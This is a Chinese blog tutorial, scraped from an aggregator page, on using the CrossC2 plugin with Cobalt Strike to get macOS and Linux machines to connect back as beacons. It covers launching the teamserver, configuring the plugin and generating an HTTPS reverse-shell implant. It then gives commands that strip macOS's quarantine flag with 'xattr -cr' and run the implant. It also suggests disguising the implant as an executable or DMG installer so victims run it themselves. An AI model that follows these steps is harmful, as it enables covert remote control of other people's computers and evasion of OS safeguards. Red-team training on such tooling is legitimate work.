当前位置: 首页 > news >正文

CS配合CrossC2插件,实现MacOS/Linux上线

前言

  • 我们知道CS原生只支持Windows上线,那么对于MacOS、Linux我们可以通过CrossC2插件实现上线
  • 下载地址:https://github.com/gloxec/CrossC2/releases
  • 我这里主要是演示上线MacOS,上线Linux是相同的,参考文章:https://blog.csdn.net/m0_61867082/article/details/131386931

环境

  • 客户端是Windows/Linux/Mac均可,只需要下载对应的脚本文件即可:
  • 然后CS的版本是4.7、4.8都可以,我们需要准备的文件有:
1. CrossC2-GithubBot-2023-11-20.cna# 插件本身2. genCrossC2.exe# 客户端是哪个就下哪个3. .cobaltstrike.beacon_keys# 从服务器TeamServer中下载到客户端
  • 注意这里.cobaltstrike.beacon_keys文件一定要从服务端下载到客户端本地
  • CS服务器尽量选用的是Linux,直接启动即可
./teamserver<IP><password>

  • 接着在客户端先配置CrossC2-GithubBot-2023-11-20.cna中的$CC2_PATH$CC2_BIN
$CC2_PATH="D:/path/CrossC2/";# <-------- fix$CC2_BIN="genCrossC2.exe";

  • 需要注意的就是
    1. 尽量不要包含中文路径(当然可以包含)
    2. $CC2_PATH是绝对路径,最后必须要有/
    3. 然后$CC2_BIN这个就根据你下载的脚本名称填写即可

木马生成

  • 首先创建监听器:
  • 然后加载我们的CrossC2插件,选择刚才下载的.cna文件:
  • 加载成功之后右上角就会多出CrossC2的插件:
  • 这里选择创建反向Shell的HTTPS监听器,根据标注的内容创建即可:
  • 点击生成他就会自动调用genCrossC2.exe创建木马程序,我们可以在事件监听器上看到如下日志:
  • 如果有红色框标记的地方即生成成功,如果没有可以将这条命令放到cmd/bash上执行一下看看报错

CS上线

  • 将生成的木马(只需要mactest即可,不用mactest.lib文件)放到Mac机器上,然后执行如下命令:
# 赋予执行权限chmod+x mactest# 移除文件的隔离标记xattr -cr mactest# 执行该文件./mactest

  • 成功上线并且正常执行命令,当然在实战当中肯定不可能这么搞,还需要手动执行chmod、xttar这些命令
  • 我们进阶的玩法就是可以将这个东西直接弄成可执行程序,或者弄成dmg的安装镜像,让他自己执行这些危险命令
  • 这些都是我们之后要考虑的事情了,我这里主要是测试一下能不能上线MacOS
http://www.jsqmd.com/news/84835/

相关文章:

  • 1、掌握 Puppet 4:高效管理 IT 基础设施的秘诀
  • 无需运动恢复结构(SfM)的层级训练三维高斯溅射(3D Gaussian Splatting)
  • 2、初探Puppet清单编写
  • 3、编写首个Puppet清单指南
  • 前端工程师必看:AI+前端+A/B测试 实战指南(小白友好版)
  • 4、Puppet 入门:从基础使用到主从架构搭建
  • Notepad++紧急更新,且是两个版本,究竟修复了什么
  • 5、Puppet 主节点与代理节点:全流程解析与性能优化
  • 6、深入探究 Puppet:Facts、Types 与 Providers 详解
  • C51_HC-05蓝牙通信
  • 7、Puppet资源类型与模块:深入剖析与实践应用
  • 8、利用类和自定义类型模块化清单
  • 网络融合
  • 9、深入理解 Puppet 中的类、定义类型和模块
  • 10、Puppet 模块:结构、管理与实践指南
  • 智源Emu3.5震撼登场:AI首次实现物理世界统一认知,开启多模态交互新纪元
  • 利用sklearn进行pca降维
  • VS-CODE 里的github copilot 不支持自己配置模型api
  • 图像分割
  • Easy Holden Key Programming: Lonsdor K518 Pro FCV License Activation for Mechanics Owners
  • 线性代数(五)向量空间与子空间
  • 大模型学习基础(五) 强化学习(Reinforcement Learning,RL)初步
  • REST--GCA
  • linux查看内存
  • SPM设置原点
  • 30亿参数引爆企业智能升级:IBM Granite-4.0微型混合模型如何重构本地化AI部署生态
  • Qwen3-VL多模态大模型全解析:技术突破、部署实践与行业应用指南
  • 27 岁从传统行业裸辞转网络安全,我是如何做到的?
  • 腾讯开源双引擎AI模型:混元3D开创多模态创作新纪元,千倍效率革命重塑数字内容生产
  • 效率提升25%,灵巧操作数采困境被「臂-手共享自主框架」解决